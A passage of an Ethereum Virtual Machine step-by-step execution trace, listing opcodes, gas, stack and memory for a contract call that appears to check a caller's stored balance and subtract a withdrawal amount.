"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2067,"op":"DUP3","gas":18125,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2068,"op":"DUP5","gas":18122,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4","0x0","0x20","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2069,"op":"SUB","gas":18119,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4","0x0","0x20","0x4","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2070,"op":"SLT","gas":18116,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2071,"op":"ISZERO","gas":18113,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2072,"op":"PUSH2","gas":18110,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2075,"op":"JUMPI","gas":18107,"gasCost":10,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4","0x0","0x1","0x820"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2080,"op":"JUMPDEST","gas":18097,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2081,"op":"POP","gas":18096,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2082,"op":"CALLDATALOAD","gas":18094,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2083,"op":"SWAP2","gas":18091,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2084,"op":"SWAP1","gas":18088,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x24","0x187"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2085,"op":"POP","gas":18085,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x187","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2086,"op":"JUMP","gas":18083,"gasCost":8,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x187"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":391,"op":"JUMPDEST","gas":18075,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":392,"op":"PUSH2","gas":18074,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":395,"op":"JUMP","gas":18071,"gasCost":8,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x5b6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1462,"op":"JUMPDEST","gas":18063,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1463,"op":"CALLER","gas":18062,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1464,"op":"PUSH1","gas":18060,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1466,"op":"SWAP1","gas":18057,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1467,"op":"DUP2","gas":18054,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1468,"op":"MSTORE","gas":18051,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1469,"op":"PUSH1","gas":18048,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1471,"op":"PUSH1","gas":18045,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x3"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1473,"op":"MSTORE","gas":18042,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x3","0x20"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1474,"op":"PUSH1","gas":18039,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1476,"op":"SWAP1","gas":18036,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x40"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1477,"op":"KECCAK256","gas":18033,"gasCost":42,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x40","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1478,"op":"SLOAD","gas":17991,"gasCost":100,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1479,"op":"DUP2","gas":17891,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1480,"op":"GT","gas":17888,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1481,"op":"ISZERO","gas":17885,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1482,"op":"PUSH2","gas":17882,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1485,"op":"JUMPI","gas":17879,"gasCost":10,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x615"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1557,"op":"JUMPDEST","gas":17869,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1558,"op":"CALLER","gas":17868,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1559,"op":"PUSH1","gas":17866,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1561,"op":"SWAP1","gas":17863,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1562,"op":"DUP2","gas":17860,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1563,"op":"MSTORE","gas":17857,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1564,"op":"PUSH1","gas":17854,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1566,"op":"PUSH1","gas":17851,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x3"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1568,"op":"MSTORE","gas":17848,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x3","0x20"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1569,"op":"PUSH1","gas":17845,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1571,"op":"DUP2","gas":17842,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x40"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1572,"op":"KECCAK256","gas":17839,"gasCost":42,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x40","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1573,"op":"DUP1","gas":17797,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1574,"op":"SLOAD","gas":17794,"gasCost":100,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1575,"op":"DUP4","gas":17694,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1576,"op":"SWAP3","gas":17691,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x136dbf40ac09b","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1577,"op":"SWAP1","gas":17688,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1578,"op":"PUSH2","gas":17685,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1581,"op":"SWAP1","gas":17682,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x136dbf40ac09b","0x634"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1582,"op":"DUP5","gas":17679,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1583,"op":"SWAP1","gas":17676,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1584,"op":"PUSH2","gas":17673,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1587,"op":"JUMP","gas":17670,"gasCost":8,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b","0x8dd"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2269,"op":"JUMPDEST","gas":17662,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2270,"op":"PUSH1","gas":17661,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2272,"op":"DUP3","gas":17658,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2273,"op":"DUP3","gas":17655,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2274,"op":"LT","gas":17652,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2275,"op":"ISZERO","gas":17649,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2276,"op":"PUSH2","gas":17646,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2279,"op":"JUMPI","gas":17643,"gasCost":10,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x1","0x8ef"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2287,"op":"JUMPDEST","gas":17633,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2288,"op":"POP","gas":17632,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2289,"op":"SUB","gas":17630,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x136dbf40ac09b","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2290,"op":"SWAP1","gas":17627,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x634","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2291,"op":"JUMP","gas":17624,"gasCost":8,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x0","0x634"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1588,"op":"JUMPDEST","gas":17616,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1589,"op":"SWAP1","gas":17615,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1590,"op":"SWAP2","gas":17612,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x0"],"memory":["00000000000